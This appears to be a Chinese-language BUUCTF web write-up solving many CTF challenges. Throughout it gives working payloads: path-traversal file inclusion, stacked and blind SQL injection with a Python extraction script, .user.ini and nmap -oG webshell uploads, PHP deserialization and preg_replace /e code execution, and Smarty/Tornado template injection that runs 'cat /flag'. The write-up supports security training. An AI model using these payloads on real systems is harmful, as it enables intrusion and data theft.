BUUCTF web writeup

QQ截图20190911174613.png

平台web题目质量很高 有以往的一些比赛题目

[HCTF 2018]WarmUp

右键查看源代码 发现 <!--source.php-->访问source.php发现源码 题目考察代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr( //mb_substr() 函数返回字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置

);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

第一时间没有去分析源码而是去访问了hint.php得到如下信息

1
flag not here, and flag in ffffllllaaaagggg

回头分析源码

首先file必须存在且必须是字符串 之后源码去访问类里面的checkFile方法 重点分析方法里面的内容

核心代码

1
2
3
4
5
 $_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);

大致意思就是获取?前面的数据,截断?后面的数据

1
$_page = urldecode($page);

进行了一次url解码

所以我们构造payload如下

get会自行解码一次 程序里会自行解码一次所以我们把?进行两次编码

1
source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg

得到flag

1
flag{e6a6362a-6c69-402f-b469-63d39794be76}

随便注

2019强网杯的一道题目

QQ截图20190911201650.png

输入

1
inject=1' union select 1,2 --+

发现 程序使用正则过滤了一些关键字

这里我们可以用堆叠注入

在mysql中前语句闭合分号结束后后面的语句也会被执行

1
inject=1';show databases;

可查询出所有数据库

1
inject=1';show tables;

查询当前数据库下所有表名

QQ截图20190911202240.png

1
inject=1';show columns from `1919810931114514`;

有个坑

1
2
3
4
mysql中点引号( ‘ )和反勾号( ` )的区别
linux下不区分,windows下区分
区别: 单引号( ' )或双引号主要用于对字符串的引用符号 eg:mysql> SELECT 'hello', "hello" ;
反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键] eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;

这里当做表名 进行查询时需要加反引号 不然会查询不出来

2.png

查询出了flag字段名

正则过滤了select 无法查询字段数据。后看了师傅们的wp涨姿势了

题目一开始默认查询words表下的数据

猜测后端sql语句为

1
select * from words where id=$inject;

而程序又并未过滤alterrename

通过重命名把藏flag的表和列改成默认查询的表和列的名字 这样程序就会读到flag

payload:

1
2
3
4
5
inject=1'alter table `1919810931114514` add `id` int default 1;
//因为1919810931114514只有flag字段 没有id字段 所以我们添加一个id字段
rename table `words` to words1;
rename table `1919810931114514` to words;
//程序默认查询words表 所以我们把1919810931114514表名 改成words

QQ截图20190912162107.png

[SUCTF 2019]CheckIn

suctf中的一题 当时没有写出来 出了官方wp后好好研究了一下

一个上传点 我想很多师傅想到的都是用.htaccess吧 然而发现不行。。

后来看了wp涨姿势了

.user.ini文件构成的PHP后门

.user.ini.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

上传一个.user.ini内容为 因为程序会检测文件头所以要加一个GIF98a

1
2
GIF98a
auto_prepend_file = flag.jpg

指定同文件夹下的PHP都会包含flag.jpg

类似于使用了include 'flag.jpg'

这时候我们上传一个flag.php

QQ截图20190912171827.png

程序还过滤了<? 不能写<?php xxx?><script language='php'>xxx</script>来绕过

当然内容也可以换成一句话

QQ截图20190912172138.png

上传后 显示文件路径和文件列表 发现目录下存在index.php 这时候index.php应该是包含了flag.jpg里的内容 访问即可拿到flag

QQ截图20190912173650.png

[极客大挑战 2019]PHP

QQ截图20191124105054.png

看到良好的备份网站习惯

url上直接/www.zip下载了网站源码

index.php里发现核心代码

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

考察反序列相关漏洞

不太了解的可以去看

先知上的这篇文章一文让PHP反序列化从入门到进阶

读了class.php 发现需要 username=admin 并且 password=100才可以 还有一段核心代码

1
2
3
function __wakeup(){
$this->username = 'guest';
}

我们本地进行实例化

1
2
3
$a = new Name('admin',100);
$b = serialize($a);
print_r($b);

得到序列化后的字符串为

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

因为反序列化之前会先调用__wakeup()

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

所以我们最终提交的payload为

1
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

QQ截图20191124110502.png

[极客大挑战 2019]BuyFlag

题目较简单

考察PHP的特性

抓包 看到cookie user=0 替换成 user=1

绕过第一层

接下来看到源码里有一段

1
2
3
4
5
6
7
8
9
	~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

需要post一个password参数参数 是数字型还必须等于404 看似矛盾

利用==特性password=404a即可绕过

最后还需要传入monkey参数 值必须大于100000000

直接

1
password=404aaa&money=100000000

会提示值的长度太长 这里科学计数法绕过

最终payload为

QQ图片20191128210724.png

[ACTF2020 新生赛]Upload

新生赛 比较简单考察的都是些基础姿势

image-20200513222626145

右键查看源代码发现只是基于前端的验证直接把html保存到本地,之后把前端验证的js删除。然后修改一下前端的form

image-20200513222935944

最后直接上传一个PHP文件注意后缀不能是.php因为被过滤了。这里直接使用.phtml上传一句话 蚁剑链接。根目录下存在flag文件

image-20200513223102314

[GXYCTF2019]Ping Ping Ping

根据题目名猜测是命令执行

image-20200514102632046

ls后发现当前目录存在flag.php文件想的是直接 cat index.php,cat flag.php但是却被过滤了空格这里使用$IFS$1来替代空格即可绕过$IFS$1的大概意思是一个制表符和一个换行。image-20200514102956180

读取index.php的内容发现程序还用正则过滤了flag关键字.绕过也很简单

1
ip=127.0.0.1;a=ag.php;b=fl;cat$IFS$1$b$a

image-20200514103139181

具体可以参考我的这篇命令执行漏洞整理。详细的介绍了一些命令执行的姿势。

[ZJCTF 2019]NiZhuanSiWei

image-20200514112653985

第一层我们用php://input绕过。file参数后面用伪协议读取useless.php的内容

useless.php文件内容为

image-20200514113508242

最后我们令file=useless.php可以看到代码会反序列化password传入的内容所以我们直接传入序列化字符串。代码反序列化以后则会打印flag值

image-20200514114022484

最开始第一层想到了php://input 却没第一时间想到伪协议读取文件源码后来才想到。还是缺少想法,多刷题。。

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目涉及到一些sql注入的姿势 这里提一下

异或注入

异或也是一种逻辑运算。在MySQL里可以用 ^xor来表示

1
2
3
4
5
xor
两个真做异或 结果为假
两个假做异或 结果为假
一个条件为真一个条件为假做异或结果才为真
null与真与假与null做异或结果都为null

[护网杯 2018]easy_tornado

打开题目发现有三个链接

image-20201108093738443

内容分别为

1
2
3
4
5
6
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

url的格式为http://dfc74aaa-c360-43e3-9ecd-19b3fe5da0f0.node3.buuoj.cn/file?filename=/flag.txt&filehash=a373eb0c3cd7f371d56587ba4844e347第一反应应该是md5(cookie_secret+md5(filename))的值就是相对应的filehash的值,只要提交/fllllllllllllag和对应的filehash值,应该就可以拿到flag。这里有一个render最开始没懂,百度了一下发现render是python中的一个渲染函数。

是一个Python的模板注入。首先我们要获取到cookie_secret才可以得到filehash的值。

Handler指向的处理当前这个页面的RequestHandler对象!

1
http://dfc74aaa-c360-43e3-9ecd-19b3fe5da0f0.node3.buuoj.cn/error?msg={{handler.settings}}

得到

1
'cookie_secret': '44a0e1e6-c525-40b2-b142-1535736f70d0'

最后去cmd5加密一下就好了

[RoarCTF 2019]Easy Calc

直接查看网页源代码发现了这串 ajax的请求

image-20201111170441460

访问 calc.php文件 获取到php源码

image-20201111170641079

看到源码后 应该想到传参num绕过正则去进行代码执行的操作。

经过测试这个waf是不允许在num变量里面传入字母的只能是数字

image-20201111171436148

1
2
3
4
也就是这样当我们输入
http://node3.buuoj.cn:27408/calc.php?num=a waf会触发 导致403
但是当我们这样 waf匹配的是num变量 而这个是 num%20这个变量
http://node3.buuoj.cn:27408/calc.php? num=a

因为PHP获取 GET/POST 参数时,会直接去除变量前的空格

image-20201111172219901

scandir是列出目录下所有文件

我先在我本地尝试一下

1
2
3
4
5
6
7
8
//正常payload 被正则拦截
<?php
eval("echo "."var_dump(scandir('/'));".";");
?>
//ascii码绕过正则
<?php
eval("echo "."var_dump(scandir(chr(47)));".";");
?>
1
http://node3.buuoj.cn:27408/calc.php?%20num=var_dump(scandir(chr(47)));

image-20201111180757076

1
http://node3.buuoj.cn:27408/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

file_get_contents是把文件读入到一个字符串中。没必要用var_dump输出了因为是读入到一个字符串。最后利用echo输出即可

1
flag{7b0d0193-c15c-43aa-bf4a-9ed698e71e00}

[极客大挑战 2019]Upload

验证文件后缀,并且验证了文件类型 和文件内容

image-20201112202250441

这样进行绕过。传上去在后面价格upload/可以发现自己传的马image-20201112202647855

上面的都是谁传的我也不知道 哈哈哈。

[BJDCTF2020]Easy MD5

这种题有种似曾相识的感觉。但是翻了下笔记却没有找到

最开始没有思路抓下包看看

image-20201112205404043

1
select * from 'admin' where password=md5($pass,true)

我们需要提交参数为ffifdyop可以绕过。这个字符串被md5(‘ffifdyop’,true)是返回原始字符的16进制 这样进行加密以后我们得到了'or'6É]™é!r,ùíb

因为md5返回的字符串到时候 拼接成这个语句这就造成了类似万能密码的功能 or 返回真

1
select * from 'admin' where password=''or'6É]™é!r,ùíb'

image-20201112215046810

绕过以后到达第二步

image-20201112215338009

这种姿势我们入门那会应该都做过 不说了 直接找一个md5 为0e开头的不同字符串就好了

还有一种放方法因为 md5这个函数是无法处理数组的所以 提交数组都会返回NULL所以相等 那么我们也可以提交一个数组上去

1
2
3
4a5eec40-bb3d-49e1-a144-c62e1ae85f31.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=240610708

4a5eec40-bb3d-49e1-a144-c62e1ae85f31.node3.buuoj.cn/levels91.php?a=[]1&b[]=21

image-20201112215710489

还有第三步 ,这个的话 直接用我们上面的法2

image-20201112215846421

[GYCTF2020]Blacklist

这个题和 强网杯 随便注题目类似 但是 过滤增加了 alert 和 rename也就是说不能用 随便注的思路去修改表名,使其默认查询了

前面思路是类似的

1
2
1'show tables;
1';show columns from `FlagHere`;

接下来我们发现了 猫腻

image-20201118224302478

这时候用到HANDLER语句

handler类似于select语句,但又不同于后者,它只能每次查询1次记录。

1
2
3
4
HANDLER tbl_name OPEN ;	//打开这个表
HANDLER tbl_name read first; //查询这个表的第一条记录
HANDLER tbl_name read next; //查询这个表的下一条记录
HANDLER tbl_name CLOSE; //关闭这个表 如果不关闭可以一直next的

最终我们构造payload为

1
1';HANDLER FlagHere OPEN;HANDLER FlagHere read first;

image-20201118224831149

[极客大挑战 2019]RCE ME

现在一般的rce应该已经难不倒我了(小声bb)

首先看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

第一时间想到了取反。这时候看了下PHP的环境为php7心想稳了 因为只有php7可以动态执行函数。php5下就这个姿势就不成立了。具体参考p牛的这篇文章吧无字母数字webshell之提高篇

image-20201215203607117

所以我们的payload为

1
http://391d456e-0cd9-4838-a5ba-a969c031da92.node3.buuoj.cn/?code=(~%8F%97%8F%96%91%99%90)();

get会自解码一次解码以后取反 最终获取到的就是phpinfo()

image-20201215203739115

往下翻可以看到禁用了非常多的函数

image-20201215221519094

因为禁用了disable_functions 所以直接蚁剑插件市场下载此插件即可绕过image-20201221091431803

[CISCN2019 华北赛区 Day2 Web1]Hack World

题目提示是SQL注入

image-20220924100249767

第一眼感觉跟强网杯的”随便注“有点像,所以第一反应就是堆叠注入,发现不可行,很多都被过滤了。

最后经过测试就是有一些过滤 空格 分号 引号等。在输入框中,输入1和2的返回结果是不一样的。

输入1 返回Hello, glzjin wants a girlfriend.

输入2返回Do you want to be my girlfriend?

简单的盲注。

1
if(ascii(substr((select(flag)from(flag)),1,1))=102,1,2)

因为过滤了空格无法绕过,我这里用()代替 ()两端可以不包含空格

任何可以计算出结果的语句,都可以用括号包围起来

二分法写个脚本看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://edf0e201-6ed7-4ff6-ae59-b34bb1c7092b.node4.buuoj.cn:81/"
flag = ""
for i in range(1,50):
left = 32
right = 127
while left<right:
mid = (left+right)//2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
response = requests.post(url=url,data=data)
if 'Hello, glzjin wants a girlfriend.' in response.text:
#前面判断 flag的第一位已经大于mid了,所以也就不可能等于mid,所以我们mid+1
left = mid+1
else:
right = mid
if left == right ==32:
print("No result")
break

mid = (left+right)//2
flag += chr(int(mid))
print(flag)

image-20220924100217228

[GXYCTF2019]BabySQli

点进题目一个登陆框

image-20220926180107604

随便输入一下登陆看看。

image-20220926180205183

有一串编码,经尝试是base32,解码以后得到base64,最后解码base64得到

1
select * from user where username = '$name'

很明显 name参数存在SQL注入

image-20220926180515142

1
select * from user where username = '$name'

有过滤存在 果然事情并没有想象中那么简单。

[BJDCTF2020]The mystery of ip

首页有一个a标签可直接跳转到这里

image-20220926211053431

在结合题目的名字,想到了 xff头伪造

X-Forwarded-For:127.0.0.1

image-20220926211208891

开始还以为是xff注入结果确实 smarty的SSTI。(确实让人很难想到

image-20220926210849376

查看smarty的版本

X-Forwarded-For: {$smarty.version}

image-20220926212022133

{if}标签

全部的PHP条件表达式和函数都可以在Smarty的{if}内使用

image-20220926210849376

image-20220926225505926

1
{if system("cat /flag")}{/if}

smarty SSTI常用的利用方式

{if}标签

全部的PHP条件表达式和函数都可以在Smarty的{if}内使用

{literal}标签

{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

那么对于php5的环境我们就可以使用

1
<script language="php">phpinfo();</script>

来实现PHP代码的执行,但这道题的题目环境是PHP7,这种方法就失效了。
恰好这道题的环境是PHP/7.3.13

还有另一种姿势

通过self获取Smarty类在调用器静态方法实现文件读写操作

Smarty类的getStreamVariable方法的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}

利用payload如下

1
{self::getStreamVariable("file:///etc/passwd")}

而且在3.1.30的Smarty版本中官方已经把该静态方法删除。

详细 Smarty 最新 SSTI 总结

[BUUCTF 2018]Online Tool

image-20220927093656506

接收host参数以后经过 escapeshellarg escapeshellcmd 进行过滤转义。

escapeshellarg escapeshellcmd 两个函数组合进行过滤的时候会产生漏洞。

当我们输入' whoami ',经过这两个函数处理之后变为''\\'' whoami '\\''',这让就让所有'都闭合掉了,从而绕过函数通过'让参数变成字符串的过滤。

image-20220927094147487

二个利用的点,nmap命令的-oG参数能够将命令和结果都写入一个文件里面,从而可以写入一句话木马。

payload

1
?host=' <?php @eval($_POST["a"]);?> -oG 1.php '

简单说就是通过前面那两个函数的闭合,让一句话逃逸出去,并写入到1.php文件里了。

文件目录

image-20220927095237982

1
http://ctf.com/ac5cf498959b1e07539a2e08ef51e1c2/1.php

image-20220927095323861

[网鼎杯 2020 朱雀组]phpweb

image-20220927135424104

抓包可以看到

image-20220927135321678

应该 func参数接收函数,P参数接收的就是函数里的参数,最后方包以后会直接执行。

经测试确实是这样

image-20220927135530710

但是一些敏感的 system eval 等命令执行,代码执行的函数被过滤了。

第一反应就是读取源码

1
2
func=highlight_file&p=index.php
func=file_get_contents&p=index.php

index.php 源码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

的确过滤了很多,仔细观察发现并没有过滤反序列化函数 unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test {
var $p = "find / -name flag*";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo @gettime($this->func, $this->p);
}
}
}
$flag = new Test();
echo urlencode(serialize($flag));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo @gettime($this->func, $this->p);
}
}
}
$flag = new Test();
echo urlencode(serialize($flag));
?>

func参数为反序列化函数 unserialize p参数内容为序列化后的字符串。

[BJDCTF2020]ZJCTF,不过如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

很简单根据提示我没首先读取next的源码看看

1
text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php

next.php源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

preg_replace 函数可能会导致命令执行

preg_replace 的 /e 修正符会将 参数当作 php 代码,并且以 eval 函数的方式执行

因为 PHP get 参数名中的 . 会被转换成 _, 所以不能用 .* 这个正则

\S 表示匹配任意非空白符的字符, * 表示重复零次或更多次

1
\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);

至于为什么是 ${getFlag()} 的格式 而不是 getFlag()

${getFlag()}中的getFlag会被当作变量先执行,执行后变成${1}(1是因为phpinfo()成功执行后返回true),而strtolower("{${1}}") 又相当于 strtolower("{null}")又相当于 ‘’ 空字符串. 总结就是 getFlag没被替换掉却又执行了。